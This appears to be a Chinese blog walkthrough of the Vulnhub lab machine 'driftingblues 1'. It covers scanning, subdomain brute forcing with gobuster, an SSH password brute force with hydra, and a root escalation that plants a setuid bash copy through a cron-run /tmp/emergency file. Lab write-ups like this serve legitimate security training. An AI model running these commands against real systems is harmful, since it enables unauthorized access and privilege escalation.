【渗透测试】Vulnhub driftingblues 1
一.渗透环境环境准备
靶机描述
Vulnhub靶机下载:
https://www.vulnhub.com/entry/driftingblues-1,625/
1 | 攻击机ip:192.168.243.128(kali) |
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 目标:获取目标靶机root目录下的flag
开始渗透
二. 信息收集
主机扫描
1 | arp-scan -l |
端口扫描
使用nmap获取目标靶机开放的端口
1 | nmap -sS -sV -sC -p- 192.168.243.131 -oN nmap_full_scan |
当前扫描揭示了 SSH(22) 和 HTTP(80) 两个开放服务
漏洞扫描和目录扫描
1 | nmap --script=vuln -p21,80,55077 192.168.243.131 |
1 | dirsearch -u 192.168.243.131 |
综上可以看到有漏洞
80 端口(Apache/2.4.18)开放,存在 Slowloris DoS 漏洞(CVE-2007-6750)、可能的 CSRF 漏洞、可能的 SQL 注入漏洞(/js/ 目录参数)及 /css/、/img/、/js/ 目录列表信息泄露,21 和 55077 端口关闭。
三.渗透测试
网页测试
我们去访问
1 | http://192.168.243.131/ |
我们查看源码(CTRL+U):其他办法也可以,我觉得这个比较快
1 | L25vdGVmb3JraW5nZmlzaC50eHQ= |
我们访问看看
1 | http://192.168.243.131/noteforkingfish.txt |
一堆ook 加密我们找网站解密去
1 | https://www.splitbrain.org/services/ook |
把密码复制进去点击 Ook! to Text
按钮
解密文本如下
我们根据这个提示来结合首页的域名
添加host
接下来我们去配置本地host: /etc/hosts
1 | vim /etc/hosts |
增加192.168.243.131 driftingblues.box这一项数据进去
在vim 中 插入(按键盘上‘i’字符)修改好后我们 按‘ESC’
之后shift +;(键盘上的)记得 要是英文输入法下
之后输入wq (退出并保存)
我们校验一下看有没有写进去
1 | cat /etc/hosts |
爆破子域名
可以看出,已经写入了
但这个域名肯定不是要求的那个域名,我们去破解一下子域名,
使用 gobuster 爆破
1 | ./gobuster vhost -u driftingblues.box --wordlist /usr/share/wordlists/dirb/common.txt |
这里我卡了好久,首先你要是 Gobuster v3.1.0 版本(建议去github 去下)最新版复现不出
1 | https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-386.7z |
不然你使用命令就 回显不对爆破不了子域名
这里我们弄好了这里是正常回显
回显 200(Status: 200)
成功得到子域名test.driftingblues.box
,添加到hosts
文件
还是和上面同样步骤
继续添加host
首先
1 | vim /etc/hosts |
进入后更改之后我们确认是否写入了
这里其实最好reboot一下
访问子域名
接下来我们去访问http://test.driftingblues.box
使用命令扫描目录看看有什么漏洞文件
1 | dirsearch -u http://test.driftingblues.box |
访问 /robots.txt 文件
发现一个文件:ssh_cred.txt
盲猜是ssh 连接密码
去看看
得到ssh密码
1 | 1mw4ckyyucky |
- 密码修改规则:
- Sheryl 在密码末尾添加了一个 数字(0-9 中的某一个,共 10 种可能)。
- 例如:
1mw4ckyyucky0
、1mw4ckyyucky1
……1mw4ckyyucky9
。
到此用户名和密码都有了,用户名为 eric
(前面提醒好几次了),密码可能是
1 | 1mw4ckyyucky0 |
将上面保存为字典pass.txt,然后尝试暴力破解
1 | hydra -l eric -P pass.txt ssh://192.168.243.131 |
得到账户密码
1 | login: eric |
SSH 连接
登陆 SSH 获取 shell
利用上面得到的账户密码登录ssh
1 | ssh eric@192.168.243.131 |
也是成功登录上了 (wuwuwu~~~)
四.提权过程
寻找 suid 程序
在 shell 中寻找 suid 程序:
1 | find / -perm -u=s -type f 2>/dev/null |
flag1
第一个flag(彩蛋)
当前目录 user.txt
1 | cat user.txt |
tmp目录里面有
backup.zip
去到目录
1 | cd / |
1 | ls |
这里有调用过 backup.zip的痕迹
1 | #having a backdoor would be nice |
结合backup.sh脚本中最后一句,会sudo执行/tmp/emergency文件,而此时/tmp下没有这个文件,我们可以手工创建文件,并将eric用户加入sudo组
1 | echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency |
提权成功
1 | cd /root |
flag2
总结:
本节通过主要靠信息收集,非常适合作为信息收集练习
这个靶机收获很多
添加host 解析
还有gobuster爆破子域名
后面的利用自动任务提权还不是很熟
备份文件路径还不熟悉
(刚开始打这个靶机 感觉很熟悉,找了下写的笔记,发现是去年写了一半复现不出了,卡在那个gobuster 爆破哪了 ,才发现是版本问题hhh)